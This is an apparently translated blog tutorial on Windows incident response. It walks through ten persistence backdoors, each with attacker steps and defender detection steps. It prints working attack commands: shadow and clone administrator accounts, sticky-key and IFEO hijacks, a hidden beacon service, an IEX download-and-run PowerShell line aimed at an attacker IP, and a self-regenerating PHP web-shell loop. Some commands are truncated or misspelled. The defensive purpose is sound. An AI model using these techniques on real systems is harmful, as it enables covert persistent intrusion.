Emergency response of the Windows system from the perspective of permission maintenance

0 24
I. Basic IntroductionAfter red team attackers penetrate and exploit the target,...

I. Basic Introduction

After red team attackers penetrate and exploit the target, they usually carry out permission maintenance to achieve the purpose of continuous exploitation. When the defense side carries out emergency response, how should one fight smartly and bravely with the highly skilled (jiaohuajianzha) attackers? Perhaps this article can provide the answer. The following content can not only help you master emergency response but also allow you to be more skilled in red-blue对抗. Due to limited space, only the emergency response of the Windows system can be written first.

II. Emergency Maintenance

(I) Windows Hidden Maintenance

1. Maintenance Method: Use the following command to hide the backdoor trojan file

Emergency response of the Windows system from the perspective of permission maintenance

Attrib +s +a +h +r [File Name]

1651740616_62738fc875f68e2d132a8.png!small?1651740616675

2. Hidden Effect: At this time, even if the hidden files are displayed, the file cannot be seen1651740598_62738fb689e83e105daff.png!small?1651740598891

3. Emergency Search: Use the following command to deal with hidden backdoors as they appear

Attrib -s -a -h -r *.exe*

(II) Shadow Account Maintenance

1. Maintenance Method: Adding a `$` symbol to the account created will make its hidden feature to achieve the purpose of hiding the account, for example, creating an account named binbin$.1651740688_627390109811a7d8e3574.png!small?1651740688755

2. Hidden Effect: At this time, the newly created user cannot be found by net user1651740707_62739023ef3498735c723.png!small?1651740708115

3. Emergency Search: You can see the hidden account in Local Users and Groups by entering win+R and then entering lusrmgr.msc1651740728_62739038abf452d12baa3.png!small?1651740728944

(III) Clone Account Maintenance

1. Maintenance method:

a. Create a shadow account using the method in the second step, and then enter the registry by Win+R→regedit.1651740764_6273905c1a22ff67cd78d.png!small?1651740764431

b. Find HEKY_LOCAL_MACHINE\SAM\SAM, and you need to right-click to modify its permissions to full control for the first time. Press F5 to refresh and enter the folder1651740797_6273907db6df9b2d5be5e.png!small?1651740798040

c. Copy all the values of the F item of 000001F4 (Super Administrator account)1651740819_62739093323401acf523a.png!small?1651740819610

d. View the corresponding file of the newly created account, and you can see that the type is 0x3ea, so the corresponding folder of the newly created account binbin is 000003EA

1651740844_627390ac6439fced6395b.png!small?1651740844764

e. Paste the copied F value into the F item of the just created account 000003EA

1651740862_627390be4dd121e91f166.png!small?1651740862646

f. Export binbin$ and 3EB

1651740878_627390ce9aaac80b47c9c.png!small?1651740879016

g. Delete the shadow account just created, and then double-click to import the registry just exported

1651740894_627390de6a76c69434ddf.png!small?1651740894614

2. Hidden Effect: At this time, the clone account cannot be found by net user or lusrmgr.msc query, but it can be used for remote login1651740925_627390fdaa681f9619fbf.png!small?1651740925806

1651740946_6273911253fa8d4b94123.png!small?1651740946521

3. Emergency Search: Why write the creation process in detail just now? It is for us to find. We can also go to HKY_LOCAL_MACHINE\SAM\SAM in the registry, and then search for an account with the same F value as 000001F4 (Super Administrator account) which is a clone account

(IV) Group Policy Script Maintenance

1. Maintenance Method: win+R→gpedit.msc to enter the group policy, find Windows Settings→Scripts→Startup. Then add the path of the backdoor1651741054_6273917e623fa6a44eba3.png!small?1651741055159

2. Maintenance Effect: The backdoor file will be started along with the host every time it starts

3. Emergency Search: Why can some trojans quietly start and run during emergency response? It may be because the startup backdoor script is set in this group policy. You can use win+R→gpedit.msc to search or win+R→msconfig to view startup items

1651741094_627391a61acc41ab36cf4.png!small?1651741097676

(V) Sticky Key Backdoor Maintenance

1. Maintenance method:

a. Go to `C:\Windows\System32` to find the **sethc.exe** file

1651741132_627391cc35af4bbb65166.png!small?1651741132741

b. Modify its permissions to allow full control by the current user and the owner is the current user1651741159_627391e7b822b0f2966d9.png!small?1651741160190

1651741180_627391fcb377b033f47b5.png!small?1651741181061

c. Move it to another location and replace the original **sethc.exe** file with a trojan file

1651741223_62739227b767c7401e04a.png!small?1651741223870

d. Using a magnifying glass (Magnify.exe), setting center (utilman.exe), and screen magnification center (osk.exe) can also achieve this maintenance effect1651741239_62739237c709e9a1e4d2b.png!small?1651741240258

2. Maintenance Effect: At this time, no password needs to be entered. Just press the sticky key 5 times to start the backdoor program running

1651741253_627392450d9ea3078c9bd.png!small?1651741253387

3. Emergency Search: After entering the DOS interface by pressing win+R→cmd, enter the following command to search, if found, it indicates that it is running and may have been replaced. You can right-click to view its properties to see its specific situation for judgment

tasklist | findstr "setch.exe"

tasklist | findstr "Magnify.exe"

(6) Winlogon Fileless Maintenance

1. Maintenance method:

a. Enter the following command in Powershell to modify the Winlogon Userinit field value

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,***************"

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop -w hidden -c \

2. Maintenance Effect: Since the Winlogon.exe process is a system process built into Windows, it is difficult to detect

3. Emergency Search: Carefully check if the following registry keys exist for any programs

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

(7) Image Hijacking Maintenance

1. Maintenance method:

a.Win+R→regedit enter the registry editor, find the following directory

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

1651741315_62739283446cf0e88c9bd.png!small?1651741315817

b. Under this file, create a more deceptive item (such as commonly used software that has already been installed)

1651741349_627392a5e7e2eacdffad1.png!small?1651741350409

c. Then add a Debugger in the newly created item and modify its value to the absolute path of the backdoor malware

1651741369_627392b9affb213987eeb.png!small?1651741370083

d. Create a shortcut file from the existing executable package and wait for the victim to click it


2. Maintenance effect: At this point, if the victim clicks the shortcut startup file, they will be hijacked to the startup backdoor file

3. Emergency Search:

a. Carefully check the program names and values at the following registry path to see if the values point to the corresponding files

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option

1651741419_627392eb74c96e7ecc3c1.png!small?1651741419900

b. During strengthening, you can enable registry auditing, go to the softwar item and modify it. Also, prohibit remote access to the registry, and you can disable the Remote Registry service1651741655_627393d70751e651e9d53.png!small?1651741655298

1651741752_62739438bdc16fced4751.png!small?1651741753167

(八)SDDL concealment maintenance

1. Maintenance method:

a. Press win+R to enter the DOS interface, then enter the following command to create an autorun service and start it

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto

1651741805_6273946d72603ec5c040c.png!small?1651741805596

b. At this time, you can view the service through sc query, Get-Service, or services.msc

1651741829_6273948560b5cb6990de2.png!small?1651741829632

c. Therefore, you can hide the service by modifying the SDDL

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU) (D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

1651741846_6273949652808dfdc2855.png!small?1651741846523

d. At this point, you can no longer view the service using sc query. Similarly, you cannot view the service in the services list, but you can see the service in the registry and also view the address pointing to the backdoor file1651741862_627394a64946c242fcca0.png!small?1651741862808

1651741893_627394c5ea600a449752f.png!small?1651741894307

e. Create a new file 1.ps1 in Kali and write the following content to hide registry information1651741914_627394da039ae43fc2b29.png!small?1651741915079

f. Then start the temporary http service1651741924_627394e414474d3132fce.png!small?1651741924329

g. Enter the following command on the attacked host to execute the 1.ps1 file that was just generated. 192.168.1.138 is the IP of Kali

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.1.138/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"


2. Maintenance effect: After restarting the target machine, you can see that the item has been completely hidden in the registry

1651741959_627395076879cd5bc74db.png!small?1651741959761

3. Emergency Search:

a. You can use Wireshark to capture traffic packets, and judge the existence of malicious connection software by viewing the incoming and outgoing traffic
b. If the opponent uses the following denial statements to hide, you can use the following statements to delete the denial-related SDDL statements, so that the backdoor can be queried normally

& $env:SystemRoot\System32\sc.exe sdset ".NET CLR Networking 3.5.0.0" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

(Nine) Maintenance of PHP immortal trojan backdoor

1. Maintenance method: Use the following immortal trojan php to continuously generate trojan files

<?php
ignore_user_abort(); // Turn off the browser, and the PHP script can continue to run.
set_time_limit(0); // Using set_time_limit(0) allows the program to run indefinitely
$interval = 5; // Run every * seconds
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w"); // Modify this line to change the name of the generated trojan file 
$txt = "<?php phpinfo();?>\n"; // This line is the content of the trojan file to be written, which can be modified as needed
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>

2. Maintain Effect: Even after deleting the trojan file, it will continue to generate, thus achieving the effect of shell maintenance

3. Emergency Search:

a. At this time, you should first close the web service program, such as Apache or IIS, and then search for suspicious files in the web service directory

b. After finding the undead horse and the generated trojan files, delete them all before restarting the web service program

c. You can use the dm syntax in Everything to search for the undead horse and the generated trojan files based on the file creation time

1651739905_62738d0152a796ed2dfa2.png!small?1651739905496

(Ten) IIS Backdoor Permission Maintenance

1. Maintenance Method: Use the IIS_backdoor file, create a new /bin folder under the website directory. Place the IIS_backdoor_dll.dll in this folder. Use the built-in files of IIS (such as iis-85 images) as the startup path1651740126_62738dde36054b7f5d888.png!small?1651740126737

2. Maintain Effect: If the IIS_backdoor file is set to hidden, it is more difficult to find. You can establish a shell connection and execute arbitrary commands through the software in IIS_backdoor1651740051_62738d936bb8c8038b587.png!small?1651740051876

3. Emergency Search:

a. Close the web service program and then search the web directory

b. You can also use Everything for search, the search syntax is as follows

dm:【Time】.dll

3. Recommended Tools

1. Everything: File Search, can quickly find files across the entire disk by the creation time, which is convenient for finding hidden trojan files

2. Wireshark: Traffic Analysis, analyzes traffic based on incoming and outgoing connections to lock the attacker's IP

3. FireBlade: Process Analysis, which can directly analyze running processes and their child processes, as well as the corresponding startup files

你可能想看:
最后修改时间:
admin
上一篇 2025年03月28日 16:07
下一篇 2025年03月28日 16:30

评论已关闭